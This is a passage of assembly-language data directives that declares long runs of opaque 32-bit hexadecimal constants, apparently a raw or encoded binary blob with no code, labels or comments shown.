		dd 0A7A86E69h, 0CC33219Eh, 0DF65504Dh, 2E090513h, 0B4F03195h
		dd 0A0BDD550h, 3BEFEB2Bh, 0A4144967h, 0C3C7C7D6h, 8095DC35h
		dd 182EA647h, 0A4825D4Bh, 48088BEBh, 0C0142960h, 46C468D9h
		dd 5A0037B0h, 0D4BFF2B8h, 0E62C2D05h, 1411EBCh,	0B00728D0h
		dd 6D24203Ch, 14270B90h, 2089E633h, 15981BECh, 0F71FA309h
		dd 20F88578h, 5A8B69E0h, 0E2215602h, 4814207Dh,	282A8850h
		dd 9660BEC6h, 0D6820B5Ch, 0B7540668h, 56F22181h, 5A142F44h
		dd 0D798F393h, 9DD9A2B6h, 7CF21020h, 895C3882h,	10DB1093h
		dd 31EB0500h, 0D0F7B135h, 40E8D10Fh, 53936148h,	0F7BE2DDh
		dd 0E9C4214Ah, 8780919Ah, 0D2FF35FBh, 65CFFA86h, 7CF3C501h
		dd 0E8893EEDh, 69E9A989h, 0ECC0C620h, 501F5205h, 0F9097EB0h
		dd 0A9452226h, 0B2C30FAFh, 0BC300895h, 80430E66h, 0F5BB70EFh
		dd 0D6D6C7D5h, 0B353C1DBh, 5EF3F40Ah, 0E9D8280Bh, 66ECA3C5h
		dd 0D84BBA51h, 64B33829h, 0E198DD3Ch, 2CC7AFC2h, 0CDF4516h
		dd 164C5C01h, 6560289Eh, 9A27BF08h, 0FCD869E9h,	0A37230B4h
		dd 0E3FDF6Ch, 17F2BE25h, 51EE8181h, 9C54E69Ah, 32C0B813h
		dd 791C6F21h, 0F52F6B5Dh, 62C2BC48h, 35B56B16h,	8AEA0AC2h
		dd 0A102C208h, 7606E62Dh, 792484h, 58BF62C7h, 7E904B43h
		dd 0F62446EAh, 53A8CE56h, 4737FF25h, 8972248Ch,	75F9C331h
		dd 22B6662h, 0E0E22959h
		dd 52D69042h, 842FC99Ah, 5EF05C6Fh, 49FA945Fh, 64D31899h
		dd 0AE48BB82h, 2CEA8141h, 0F6D83B0Ah, 0BC4C145Ch, 0B0019537h
		dd 0E9149A35h, 5EA62C23h, 0B10025C9h, 298CEBFh,	0F929E003h
		dd 7BCB46E9h, 2D5AD0B8h, 0C78A202h, 0D3895E14h,	5F011671h
		dd 76E94C57h, 0EB50C18Bh, 5009F3B9h, 842D7496h,	6DB83FCCh
		dd 1F5768C0h, 590E1C94h, 4C05E9C1h, 0F14DDBD6h,	123D1BE5h
		dd 6A7E7000h, 5DEF2183h, 0EB4CCF3h, 5E63F72Eh, 7A912F13h
		dd 10050FC7h, 885E508Ch, 0A6BDD385h, 0A0A92213h, 82DD0113h
		dd 46A78F73h, 4C294606h, 44338074h, 523122AAh, 112DDFCFh
		dd 30FFF9C3h, 41065774h, 315F2DB8h, 96E1B240h, 586CA033h
		dd 0D2046087h, 0BCC1A7E9h, 5456C5FAh, 0DFEDA805h, 99E21A8h
		dd 8390695Ah, 0DD487503h, 9DC10009h, 21AD66C6h,	0CCE925CBh
		dd 0A4BEC104h, 0C0D389AAh, 4910CFA6h, 25154C80h, 0C555429Fh
		dd 7267AF4Ah, 2A13E7A6h, 4DD66990h, 0C36B4B3Ch,	0CD73EB4Dh
		dd 0CE26E3ECh, 0E904E27Fh, 29092196h, 60575D91h, 5B813DD2h
		dd 0F2EE046Bh, 8B0AF819h, 7650E220h, 0B6C0C0Ah,	0A1C0EABFh
		dd 0B44DD5F7h, 1339B007h, 96C187Ch, 42903BE1h, 0C6127AF7h
		dd 0F916443Eh, 0F3D9FDC9h, 5C5F2292h, 0B747D611h, 0C0D011BFh
		dd 69581110h, 4BE556DEh, 680E0761h, 0E1B417DFh,	0E630CE03h
		dd 0F2CE9B58h, 59ADA438h, 440E2880h, 9B124CBAh,	90B9D129h
		dd 0E61C4A83h, 16C444E7h, 0CC314B68h, 0F6019B3h, 0C66E589h
		dd 830E58CDh, 0B0EFE645h, 58B152B2h, 1B256331h,	0C7164FC8h
		dd 61C2A6BCh, 0CD2D9032h, 850F8052h, 0EDEB1127h, 0D3FA28EFh
		dd 167F8E2Ah, 0B55564E9h, 40C6569Bh, 4A1F309Fh,	0C2E776F9h
		dd 0E90802C5h, 3DC75088h, 4ED5EA68h, 19115FE0h,	0D5A0170h
		dd 0C958DB71h, 0FFC834F3h, 213D23B3h, 4AA430FDh, 0D48084D5h
		dd 65038082h, 3E7C198Ch, 0F6D478E9h, 90074E9Fh,	0C1D82EAh
		dd 0F6583D26h, 0AD46472Dh, 5C5F1AE6h, 884A2FCBh, 1D4068ECh
		dd 0F0F9D5Eh, 9073C424h, 0E0C1D861h, 3A50548h, 0EDDBFB67h
		dd 5E5BDA31h, 1CE90B53h, 0AC046E29h, 0ECB38602h, 0C059A04h
		dd 63C0834Eh, 0FBD5549h, 1A5AFFD5h, 0A8FABD1Eh,	0F7D328A9h
		dd 2529872Bh, 0F311C748h, 832D2B6Eh, 68DE90D9h,	8C154FA0h
		dd 4E04F8BEh, 0CBE93269h, 8FA06795h, 60CE4135h,	0E1D2D403h
		dd 47F4CE01h, 95EC1523h, 8217DD39h, 2772EBF7h, 56A78160h
		dd 5E3A3D26h, 4EA6300h,	4983E934h, 0C6003BC3h, 5AF12062h
		dd 6AC8C9FEh, 0B20C2FB1h, 4B1F804Eh, 729609B2h,	60B8C241h
		dd 0FA89D406h, 7712D996h, 7A4F6FA2h, 2402C509h,	525AC9FAh
		dd 40284124h, 2135E069h, 0BC1E20Ah, 525707EDh, 12D46100h
		dd 889111Eh, 4AF2D080h,	0CA895B37h, 0E4A5F4A0h,	3122A69Dh
		dd 4092B0C9h, 5E2E59AAh, 6D0BAB21h, 0CF40C982h,	0CAAC67E0h
		dd 0F65E22h, 79E56337h,	290EC981h, 0C07BE60Bh, 0CF03D6F1h
		dd 647FB060h, 0F44EF78Ah, 744012C6h, 1E9A4B68h,	5BAA8C9Ah
		dd 0D777F60Ah, 1916FE32h, 25F3563Fh, 73686483h,	0EF31BBECh
		dd 0F701F49Ch, 0DD9A40D3h, 6FB0EA2Dh, 6018311h,	31EACC4Ah
		dd 77044B40h, 585B27D5h, 21C67F1Ah, 0B16FD499h,	34AA4E16h
		dd 0B6C74080h, 51C72C23h, 1CABB52Eh, 50581F18h,	20969054h
		dd 0BF04878Eh, 41857CC7h, 400F4A80h, 0C606015h,	75D5FDB1h
		dd 0F1075E98h, 121E10Bh, 83588ABh, 0A26D5F1Ch, 590F08E4h
		dd 6D8A89F0h, 276C7856h, 0C15C40B0h, 3C02E72Ch,	0F64C4003h
		dd 4B740569h, 0E0BC552Eh, 0CA0108B9h, 0E948EC0Bh, 2F4829C6h
		dd 44CB272h, 3F791768h,	3629AB6Dh, 779232Ch, 58E962F5h
		dd 75F332F0h, 79F4A56h,	7A1A1DCCh, 0E6DB3AD5h, 0CD4CE90Bh
		dd 0BEE8CFA4h, 20311504h, 0AD54891Fh, 0A15D3725h, 0B4DDFCA7h
		dd 0B8508C01h, 4A2F1122h, 802066Ah, 4ABA2CE5h, 0DE6934F2h
		dd 1225583Fh, 44649E84h, 8C3E0A3Dh, 0FCF353A6h,	1B98A44Fh
		dd 0B080B64Fh, 242FCCBBh, 3D2155B8h, 5CCD7A01h,	0E2868A0Fh
		dd 3C707A7Eh, 0C1FC8372h, 62A9394Dh, 3C505970h,	0BF9CCE30h
		dd 5CCE4E31h, 462D07Fh,	0EDB9870Fh, 8AE347ECh, 2A5256C9h
		dd 5C25789Bh, 290E366h,	0AA6E2101h, 7F40E917h, 63EFC35h
		dd 0E4EBD153h, 7351821Dh, 0D1D801CBh, 0F8CD276h, 520253ABh
		dd 0EE8002B6h, 0C38EE0B5h, 0E6C0806Eh, 88070360h, 2CDE8BC4h
		dd 1387D187h, 273FE729h, 1728C8D3h, 4B9796C9h, 0C1318860h
		dd 10F6584Ch, 0BC60DF57h, 152F0EE6h, 0A7DA093Eh, 0B799C132h
		dd 41863220h, 4C72AC1h,	613024FFh, 0CD814D03h, 7F3924E0h
		dd 603FBE90h, 646E246Ah, 9A995B00h, 0B2B3E9EDh,	1354B1D4h
		dd 82446708h, 0E57906D2h, 24C1E54Bh, 6D6C06DBh,	0ED0962CFh
		dd 608914A7h, 484BD728h, 8E2F1C5Fh, 937B8B42h, 5F330027h
		dd 0B0494CEAh, 0D04D290h, 3217A6B8h, 0AB5812E3h, 4A61BED0h
		dd 2EDC7B35h, 0ACBD5021h, 7E56CC90h, 1A027204h,	2CC1E1C1h
		dd 0DF2D6288h, 4FC80179h, 0B7E97079h, 4AA86214h, 6F813D94h
		dd 1054261h, 6C2E8AF3h,	25B5ED3Bh, 94C47D66h, 25448475h
		dd 0F5568909h, 2C60C708h, 98F0038h, 0F387134Fh,	0FD6F72Ah
		dd 6D986812h, 0F52595F3h, 4FABAA0Fh, 0ED54F941h, 5971AC50h
		dd 0BA33963Bh, 0F9C1E241h, 4342CF88h, 90B678E7h, 0F7032F5Eh
		dd 18BA3280h, 0CBA05B91h, 7257BB1h, 0E3048232h,	4DC4DE7Dh
		dd 0E8162A40h, 59F46118h, 0C621CA26h, 433303BFh, 0EEB06CBFh
		dd 85375C38h, 150184Eh,	25683955h, 791950E0h, 7E5B3531h
		dd 0C0B56F37h, 0F429A1A1h, 8AE15F73h, 0D7B44ACAh, 0E793268h
		dd 0BCF8B83Bh, 7190B91Fh, 7DF51AD6h, 9DB56CCh, 6497E978h
		dd 96B576E6h, 0BB92BDCBh, 6C71F300h, 0E9260529h, 318997C1h
		dd 0AF9AD9FEh, 7EE95B60h, 8629385Eh, 0F8886682h, 0E1CA3AE9h
		dd 0E32535F6h, 0BF62D928h, 0B24B8126h, 0DC5AC5F2h, 583EC4B4h
		dd 2583136h, 74532707h,	0C4CB1429h, 4B081A0Dh, 0F37C7F42h
		dd 5955520Bh, 0A8B883B2h, 0D62EF13Fh, 5D8552C0h, 77E21C87h
		dd 4137884h, 20F85E5Bh,	0B8C5228h, 6B5762Eh, 4E10F789h
		dd 8C0497F2h, 0D78947F7h, 0CB4CAEB3h, 120F031Fh, 91A9C455h
		dd 2C6CE9F6h, 4B5F18F2h, 0F3CFEC4h, 0D9010D41h,	55082EBh
		dd 5B974848h, 7641D589h, 0FD5117FAh, 3662EFCAh,	56BE3098h
		dd 5D7EA32Ch, 10DBA18h,	93F998DDh, 445A757h, 19BA962Fh
		dd 6BB4BCE9h, 8671D8C5h, 0D31167Bh, 8EBD55Bh, 65876EBFh
		dd 0F557021Ah, 0D484A1A7h, 2192A5A6h, 2974FE82h, 4D6D6886h
		dd 268825CBh, 0B73DA044h, 77927C7h, 80F0B6D1h, 0E6FEC3C6h
		dd 0CE8D1A0Fh, 325650F0h, 10655842h, 8B1E8934h,	4DB968F8h
		dd 5FB84E2h, 0A637CD57h, 0EF16531Ch, 0C8C14433h, 556C6806h
		dd 2A224C41h, 0B9463C19h, 5D143E70h, 938C4ECCh,	81F3C02Dh
		dd 764727CBh, 2C2C3D5Ch, 73A56828h, 0BBCB08D8h,	2C01704Ah
		dd 294F2128h, 320808DAh, 79523B2Ah, 52184209h, 4A515832h
		dd 0D0A41211h, 0D233825Eh, 0F85A6525h, 0D3D205Ch, 52DDF701h
		dd 0DF2AFEBAh, 5AC38770h, 34F7484Bh, 1B9123Dh, 552693F7h
		dd 0A1DE17BCh, 14F10192h, 237F55B3h, 53EAF7A1h,	559E6CD3h
		dd 0DA4707D6h, 83C95866h, 0A72CF8F8h, 771280D2h, 7B1F27B0h
		dd 5E8E2887h, 52D85D06h, 2A01CA3Dh, 0F09D016h, 5AE8538Eh
		dd 86641653h, 0C66CE114h
		dd 29A83A0Bh, 0A5B96FDFh, 0AE025053h, 741F372Bh, 1375836Ah
		dd 6CC22C9Bh, 365C5A01h, 0CC542230h, 9B8A5110h,	2D3B6702h
		dd 1D443E9h, 0F468565Ch, 3326CD15h, 440E7A5Eh, 8A0A2957h
		dd 2492897h, 61E6DE5Dh,	8DACD1A8h, 0F3701877h, 0EA41B48Ah
		dd 0D3B2A1ECh, 94CF336h, 1ED805Ch, 0CEE9E829h, 0E0BCAEF2h
		dd 68C8310Eh, 9B1048BFh, 964785D2h, 0A4940AACh,	275A7669h
		dd 8AA99147h, 690629h, 8F504DA4h, 36475C2Ah, 407E4909h
		dd 0F5CF2280h, 781AF95Ch, 4104D7F7h, 9A60F152h,	0D314C7Ah
		dd 35CD9F12h, 0B5FED3D6h, 4C345F5Ch, 0C868B028h, 1E0E2578h
		dd 312F6D94h, 8E05C46Ch, 215EA16Ch, 68718C3Ah, 6D1D0F27h
		dd 0A3921746h, 0E391588Fh, 53C14C58h, 407FE916h, 68535938h
		dd 0D7C2F7Bh, 424A5B7Dh, 0A6FDBE12h, 0EBA2FBC4h, 5F74A237h
		dd 0D7D18705h, 94874BF4h, 692F90B8h, 8E98355Ah,	2E613934h
		dd 8A4ECBBCh, 32D65F50h, 0F7E32064h, 0FEE8198h,	49B6929Ah
		dd 33CA5397h, 0FAEE40h,	0BE7D233Eh, 320F38B9h, 5F3C1EB8h
		dd 39F08056h, 74292278h, 5E082424h, 6293409Dh, 1BDE6EEFh
		dd 0C6C293Eh, 21811420h, 0BE7D425Eh, 28FE748h, 8CAB6FEEh
		dd 0DE3E6E02h, 6029475Bh, 0B7AEC41Dh, 0F115B0A5h, 0BEB79548h
		dd 0E2A04F63h, 0B0E913D5h, 82D720F4h, 5F7BBB4Ch, 17F03F20h
		dd 6267D868h, 1A5A13EDh, 8625E57Fh, 686606h, 62141B4Fh
		dd 0AF08382Dh, 4D67358h, 119AECEDh, 0AF58C9B2h,	2F65C589h
		dd 80565709h, 0BB784720h, 60E9702Bh, 21158FC7h,	83B91ABFh
		dd 5180AA16h, 77484CBEh, 252D04FCh, 0BE7B4641h,	9A8AE04h
		dd 66D80B12h, 0C11D6CC4h, 810104E5h, 0B494CFEDh, 3A7205E8h
		dd 1145E6Dh, 0AC00F3E8h, 0E97D061Bh, 3FC05B59h,	81EFD1DFh
		dd 3D6F0BC7h, 9E409F12h, 344E8B5Dh, 0B7D324A3h,	26680A31h
		dd 0EAE9E23h, 5CFDBD70h, 550B3414h, 0D80E5D59h,	407602F2h
		dd 96C0821Dh, 0DFC56E92h, 9218A166h, 1846E5D2h,	0E0A7819h
		dd 797CD1F5h, 5DD60865h, 688245F2h, 0FFD65C1Dh,	68291567h
		dd 2D283536h, 2C1B59CAh, 0FCA7C3E1h, 0D3FE8DEBh, 0F66010DDh
		dd 45429D5Ah, 0E9870B40h, 59B1964h, 2B6929FBh, 68512943h
		dd 0CD154F02h, 59163A83h, 0F54B00CAh, 0B9443A84h, 0B812A0E7h
		dd 1994DCE1h, 5CD72210h, 9301EF5Ah, 0F6BD47Fh, 3B22ED80h
		dd 6044FD43h, 54B8AC57h, 89D98A80h, 0C517B8D1h,	0A34BAD0Ch
		dd 633B68FAh, 81479C2Ch, 9E42FEF5h, 0EF0C876Dh,	1379624h
		dd 5005E05Fh, 387A0D0Ah, 8A6222Dh, 1FF8120Fh, 0B32ECE8Fh
		dd 3D380FB2h, 80707425h, 8415FA12h, 0C71F60E5h,	3E259909h
		dd 0C176E0FEh, 0DA0548E3h, 0DF65E04h, 5BAE81CEh, 5F34412Dh
		dd 4168D857h, 76925200h, 37233558h, 0A05D4FB9h,	0D70987B7h
		dd 292CE94Ah, 804489E9h, 8CF29154h, 0FD0112E5h,	0EA67385Fh
		dd 44312485h, 0F5014102h, 59384DE9h, 0E950CF58h, 0F83C1F3Ah
		dd 82F95647h, 8C7E2931h, 0E3473416h, 9BF4EF31h,	2C0F98F0h
		dd 9ED54F81h, 8350A7FEh, 4E9E844h, 59CC8831h, 96EFA851h
		dd 0FE016C16h, 351F6D44h, 0D6AAB40h, 0B44A4ED3h, 14677CC8h
		dd 0D175D8F3h, 0FAE8E252h, 1C00AEA4h, 0F732441Bh, 3FD7A0D1h
		dd 0DD514C0Ah, 6925E300h, 90E942D3h, 8BB3C861h,	0A934C4DEh
		dd 0BDFB04EDh, 0FA897E96h, 0FD5D435Dh, 49285AFEh, 334084EEh
		dd 0AD06DD31h, 0BF4B6FC6h, 0E9F86520h, 3F5B60F1h, 147ADBCAh
		dd 252E0E7Bh, 41888FF9h, 5C381A3h, 2C1F3251h, 4AF2D2DEh
		dd 6360B6C0h, 0D30C2D4Ah, 0F8093A2Bh, 0B1B1D08h, 2434E46Bh
		dd 7B591AA7h, 6AA3DD60h, 605A987Bh, 58C1F757h, 5001C2A1h
		dd 3ECCFD56h, 0F85EA709h, 0EA090F87h, 0E5BD535Dh, 0FE011104h
		dd 0C3B29124h, 0DA9683Fh, 25C62752h, 43295A17h,	2E030680h
		dd 1561F53h, 851B9C7h, 14A09430h, 0BB523041h, 1C0DAE04h
		dd 46A40475h, 0F600AAB8h, 0AB2221F0h, 5E58F701h, 0ADF7D74Eh
		dd 0A3263196h, 8EFE489Eh, 0F8F051Eh, 790828C9h,	7BBF01B9h
		dd 2B5BCE9Fh, 0A9918962h, 69E4D6DBh, 0A86862C0h, 358ACC9Dh
		dd 1E1113FCh, 0B1571277h, 28D5007Ah, 664AE10Dh,	66B95E1h
		dd 8A5A4166h, 16521320h, 303A1C68h, 4AB95136h, 5053213Eh
		dd 155F9D5h, 0B3E40259h, 3EF5FB09h, 23BC6917h, 5D049137h
		dd 0B897870Fh, 1E5A4191h, 47A173BAh, 0CB5D548Ah, 6179A304h
		dd 3D92B9C1h, 4541933Ah, 0EC5C42C2h, 7BCEC387h,	0E15D58F3h
		dd 373E2FF4h, 0AD1F92BFh, 7C0987E4h, 79302568h,	69EC299Eh
		dd 6F4898CCh, 48311721h, 3F2D5E0h, 0E90103F1h, 583CE216h
		dd 0C28081B2h, 6EAC0D7h, 0E9BB98DBh, 0D73BF9FEh, 0C43A72D9h
		dd 0E85D3077h, 9882824Fh, 2C51EC48h, 5765E5A2h,	9C426846h
		dd 0A255848Dh, 68792FADh, 9E58C691h, 0F1064E97h, 995205Ah
		dd 26E54F18h, 5D9394h, 3E677B83h, 0FD7C293Ah, 40A23C5Ah
		dd 0FFFC36A2h, 1C8FBB01h, 396074BCh, 0D2581213h, 0B12D0342h
		dd 0A8B4DD1Ah, 0EAF3005Dh, 31475741h, 0C45B4CDFh, 4C225600h
		dd 814A4249h, 7DA2F21Dh, 3CF81913h, 0FBEA1460h,	9325A180h
		dd 78B7021h, 0DF7E2BE7h, 0BDEFF412h, 17BB5979h,	8B1C04F7h
		dd 838E502Ch, 0C1E9E4C5h, 0F4DC11BAh, 0A8DAE9A0h, 0DDE7D7A9h
		dd 0E1092E45h, 8941FC57h, 0ADA71572h, 580822D0h, 0A47635D6h
		dd 0E2072046h, 574BC9B0h, 535A8522h, 0DFE9C10Ch, 3C543923h
		dd 9D927E12h, 7620F9B8h, 9A5D589Ch, 0C5BC757Fh,	0B65EF1AFh
		dd 4D3313B4h, 6D81BCF9h, 802AB80Eh, 42F9C9BAh, 4AEAE9DDh
		dd 315AE4CCh, 1E68E040h, 0B0925D8Bh, 29F1E656h,	0E966DC09h
		dd 50612339h, 360F85B8h, 6ECD5765h, 6D688E8Ah, 0C6E984A6h
		dd 8B45BE0Ch, 48AD1BB6h, 21008190h, 0E943F67Ah,	0BA801C27h
		dd 712316BBh, 5ED60806h, 5AC3BD01h, 0E170621Ch,	8712011Fh
		dd 0E9D5F76Dh, 4A1D3CF2h, 40F662A0h, 0BB09BF38h, 0AAD44487h
		dd 44AF18E7h, 0B10320E8h, 0DA6E0CC4h, 988A1016h, 57939603h
		dd 3A4829CAh, 1F8F0541h, 0C0C65F95h, 114E0A22h,	1E925CD9h
		dd 0F653B4h, 794DCEB6h,	0E9261BD3h, 57929AD5h, 0C5544449h
		dd 948AC94h, 92713DAFh,	0B406311Bh, 4BD731AAh, 0C213FE4h
		dd 800027DAh, 0C7E6FDEFh, 0CFFE0118h, 0F668110h, 2834B050h
		dd 0F6B8E982h, 0D4A442F1h, 5C7D541Ah, 56180B5Ah, 2C701C03h
		dd 74059F2h, 0A9999C03h, 0B016383Dh, 5499EA42h,	0E94C1763h
		dd 0D802E52Ah, 5104C63Ch, 59CE8960h, 87286EE5h,	61D54E62h
		dd 72C63157h, 905F1B24h, 119B0FF1h, 0D2851E55h,	1C11F4EDh
		dd 5B1DA39Dh, 0DA77DA43h, 5B0E8668h, 4937A653h,	5AEB46Bh
		dd 0F4CBE94Fh, 68165A15h, 0AE6220EBh, 0CA14649Dh, 0A5E46D11h
		dd 0E5FC4A66h, 0E95030BEh, 0D0B64F68h, 1D0FDED0h, 7A4F7E7Bh
		dd 0EFA8E612h, 6A1AF3B7h, 2CF8150Bh, 8C8882ADh,	30AC01A7h
		dd 0DFC842D8h, 0E6B85D04h, 10B1098Eh, 4E629A68h, 0BB5FC13Ah
		dd 1504DF60h, 0FCE7921Fh, 95627C3h, 0F9AA59F1h,	0B7F6CE3Eh
		dd 0EADE01E3h, 22F7C86h, 66DD2859h, 511D7BC0h, 0E70FC692h
		dd 4544BA20h, 0D0AC4F47h, 351BA881h, 7E446E3Ah,	31094928h
		dd 0B2335705h, 0E3044EBBh, 4E90B9E9h, 69F7D587h, 0A0008D2h
		dd 50375B3Dh, 48F0CD0h,	0EB0128A7h, 0A8D293ECh,	43A24E45h
		dd 0A0666399h, 0BE25AA65h, 9E9D2299h, 8889E3ABh, 2D685BD9h
		dd 7126104h, 0ED5920FEh
		dd 2527E91Ch, 4C32DA62h, 0E38BD07Ch, 0EB20BC1Ch, 15D7BECFh
		dd 0B928ACF4h, 0CF893E5Dh, 0C9072413h, 0A3382BCDh, 1AFD33E9h
		dd 7FC9AD10h, 0D9043B20h, 6802A445h, 0F5EC36ABh, 0C333994Eh
		dd 0D2B4C952h, 0A215243Ah, 0DD0B9619h, 789B565Bh, 4EBCF502h
		dd 6A2D9F83h, 4995DA77h, 35795DBAh, 0A0507190h,	48F3FEE0h
		dd 1E024877h, 1454F2Fh,	5489D068h, 0B963E826h, 7A75BA02h
		dd 2B506052h, 982C5C50h, 5BC86810h, 44F351B4h, 88160F46h
		dd 0D346F2D0h, 1F0A9D73h, 4E13EC80h, 0EEC558E7h, 4C0EFFAFh
		dd 0BE9A4C6h, 0E4514B92h, 8F5931EFh, 25A52FFh, 0BD8856BFh
		dd 7F544C10h, 60989A36h, 0AAA9952Fh, 0EE5E5931h, 0E922600Bh
		dd 0AC40401Fh, 4C142C38h, 0B1B52A00h, 0B622534Ch, 4AE72037h
		dd 0AC464F9Dh, 122002E1h, 0E5C008E8h, 21092A35h, 65C3014Ah
		dd 81163578h, 0F517FDE3h, 12573136h, 0B4D205ACh, 6817F492h
		dd 3B31193Bh, 0DE2A5954h, 2FF1562Ch, 3C8C665Ch,	0B8294BEh
		dd 1D6E6810h, 8BAAA6FEh, 63A2B2B5h, 7B9C889h, 9501FA6Dh
		dd 59DAB343h, 9F02078Bh, 0F409FC60h, 1B0E4B96h,	7BBE5A78h
		dd 117D5F02h, 0E301EE83h, 0A8E09392h, 59C7E96Eh, 0F509B628h
		dd 0ED0EC01Dh, 5CCBDEDCh, 0EB30C9C5h, 87601789h, 0F825015Ah
		dd 0E94D4B2Dh, 656FB15Dh, 0BEE6B48Eh, 2C3F2D46h, 0A88E56DFh
		dd 5A0FD5AEh, 0EC4C57E6h, 40F17425h, 4B42236Ah,	0B03AC5D3h
		dd 56126882h, 585B1501h, 0F07E8C1h, 0B70B9AF4h,	59DFC4A0h
		dd 0E9277B44h, 8895C0B2h, 0B45D4AFBh, 0C5A9CE02h, 2AA4415Ah
		dd 5F5B014Bh, 51A19678h, 0BC0FC468h, 0E90920EBh, 985C4F0Eh
		dd 0C283A908h, 0BC334079h, 0BEEC9EB5h, 1FE4D02Eh, 0D3B64ED1h
		dd 139ED6AFh, 359E18A8h, 140B7D68h, 745A0F04h, 79F4BAD2h
		dd 0FD8612DAh, 2530901Eh, 3660D131h, 7109CF0Ch,	0D089042Eh
		dd 0F2ED835Ah, 93A45B56h, 1CB33C53h, 9A75C92Ch,	76643A4Ah
		dd 0B8096490h, 89AE41A8h, 904478D0h, 1DCD2F60h,	44EDF0E1h
		dd 4CB6E308h, 292D8B05h, 9512589Dh, 0B1F2189Bh,	0D15159F8h
		dd 42CCC8EBh, 0CC334F2h, 7D2B63D6h, 313F409Ah, 0FD6BEF72h
		dd 5F8C508h, 0E0D0E955h, 660E5010h, 834C8FB8h, 0C50F9F05h
		dd 371FBEh, 6852F635h, 28B11740h, 9DBA07BEh, 0BD505538h
		dd 68E93344h, 0EB5D4F88h, 3BEF54A2h, 16BE3A65h,	8EAD56EDh
		dd 0D80B9984h, 9625E917h, 0C925D973h, 2B0B6BFCh, 31262CBh
		dd 91D801DEh, 1B715828h, 54FADB04h, 0D70386ECh,	0DD01F7BBh
		dd 0C2E951F8h, 8FBD9994h, 49FC88E0h, 270E5E31h,	126E0CF1h
		dd 41B2A205h, 0FF665390h, 4DB3F230h, 80077F95h,	5053C404h
		dd 20637A18h, 27CB5648h, 0F37146F3h, 253BADFDh,	0D6CF21BAh
		dd 40CDADBFh, 9EE82043h, 81DF52B0h, 71F768C6h, 6673B866h
		dd 59CD3FBEh, 35D577Bh,	2F34EFDh, 0A8A7135Fh, 5A681F7Ah
		dd 0A29D2062h, 0AC8D9E80h, 4E94B5D3h, 948513FCh, 45ED8857h
		dd 5916797Ah, 2310D301h, 20924808h, 89681636h, 64D351Ah
		dd 5EC60841h, 8755E197h, 7050C412h, 4BCE895Eh, 0F5ABF1Dh
		dd 0E7C10D01h, 0EC367246h, 348EFC1h, 4FDA05C1h,	0DE000A7Fh
		dd 7A111344h, 95E3FF01h, 895D0802h, 8724D9F8h, 5AB1CBBh
		dd 12778FF5h, 0B0055F21h, 0A7FC1DA3h, 64C78A96h, 16A4FE19h
		dd 809441A8h, 0DE500F9Ah, 0B0DDF76Ch, 0A2C44F3Ch, 0D425785Bh
		dd 6234B6Ah, 0F5B9DABCh, 0AE98106Bh, 54D1525Ah,	0D06059CAh
		dd 6C1E075Ch, 81E8D139h, 54CE84E9h, 2A1DED9Dh, 680908AFh
		dd 263FD59h, 0FC49D956h, 0E3FA5BECh, 346C5A11h,	4BA9683Bh
		dd 41579EDDh, 62B376CAh, 0B2AA855Fh, 0BDC152FDh, 71C2E9FBh
		dd 0A0990B5Fh, 0EA5A7C4Ch, 13BA6385h, 0EDFA2DC2h, 0B6173ADEh
		dd 68AA6A8h, 88588BA2h,	0DE1B7140h, 74927582h, 81088554h
		dd 870F05CCh, 0EC44EAD0h, 0E198614Fh, 0A1C14E8Ah, 0BB352088h
		dd 3D7105E0h, 8052C83Ah, 7C7A5F4Fh, 2C51B42Dh, 3EDC4D8Fh
		dd 93050751h, 0EB0C8B25h, 9EBD193h, 20EA7753h, 9C38325h
		dd 6F595A08h, 184E7B28h, 140D5E4h, 0C05AF730h, 606605E7h
		dd 0EC60D877h, 2E64EA53h, 89472F4Eh, 551282D1h,	993B4AE1h
		dd 5092F114h, 66F520F7h, 2E51195h, 687FE911h, 995D2F99h
		dd 224252D4h, 7D9A555Ah, 3CEDAA10h, 0CE4CF8BAh,	0B5804BB5h
		dd 4C5BDF29h, 472D6D55h, 30074F0Fh, 5E9A82F1h, 586939FDh
		dd 16AFCA3Bh, 85F442AAh, 17851B0Fh, 6ECA1B62h, 52726009h
		dd 5954255Fh, 0B731B5EFh, 0EB2CE801h, 75F3D0h, 4F564651h
		dd 4487F781h, 0E90D0505h, 0D5E915CFh, 5BA64811h, 92CCD704h
		dd 0B5BAB917h, 26BCEA00h, 9F4D7F02h, 4EE5AE80h,	4B5C8D70h
		dd 0B9854F1Eh, 2DAEC508h, 810157E7h, 0F0584CDh,	22E29D5h
		dd 176EE9E6h, 5C971973h, 0C14133CBh, 0CBF9123Bh, 0E0902A19h
		dd 450BC9FCh, 4099C77h,	34AFB93Eh, 822082A8h, 6DED2558h
		dd 1C352C7Ch, 9DBC4CA5h, 67561E62h, 0FCE8A15Ch,	0DCF8B401h
		dd 0C59746A0h, 12270B40h, 0DB5A87C8h, 0C601B183h, 0D69B1C70h
		dd 80A79110h, 5568F4EBh, 88D298BDh, 67517BC2h, 62595538h
		dd 0D54627Fh, 8E472960h, 31E942h, 0B625E230h, 0E49CF3Ah
		dd 7950A2A9h, 0FD145BE6h, 8B7ADh, 51311DC9h, 4A6F8C0Fh
		dd 0C78FC829h, 2B2FB60Bh, 5F2E0103h, 0AC93DB88h, 3025F83Bh
		dd 0E9F306CCh, 51819D0Ah, 50731368h, 83BB5351h,	7C524B0Fh
		dd 2BDDEF55h, 0FC52829Ch, 3300091Bh, 1411871Fh,	2AD92126h
		dd 263145A7h, 3BFC11A3h, 2AE0AEE6h, 5942D8A5h, 0FC9C1425h
		dd 59CB2CF5h, 0C2C625D1h, 1A081697h, 3E913FE9h,	27AA9C57h
		dd 67D9E789h, 0F563044Bh, 0C1D90104h, 6A6AD373h, 48C2EC2Ch
		dd 0ACD35F3Dh, 6A07B21Dh, 4734DD63h, 0F25BE979h, 0ACE196C9h
		dd 0D6CD9A35h, 6905B883h, 0A5EA3960h, 0F05EE069h, 36FA9BCEh
		dd 41244A7Ch, 6886490Ah, 4EFD011Ch, 80C00510h, 2DAC04ECh
		dd 9C590AC4h, 0A859CFADh, 0D0905D80h, 4553E45Ah, 52030E9Ah
		dd 872A83BAh, 0C420027h, 0F542174h, 9BB2E88Eh, 285EE974h
		dd 1DE0A9C9h, 0A7449D20h, 0A0485D20h, 30273206h, 0B20C05B3h
		dd 6C124D68h, 2210F329h, 56510A08h, 890015BEh, 17E95EF1h
		dd 7FDDC6Dh, 5866E1h, 0B35359C8h, 0B450C100h, 0F6CCFE9Eh
		dd 0E4C00ED4h, 0CBE38005h, 0EE8C67E9h, 0A6949B37h, 0BF5648B0h
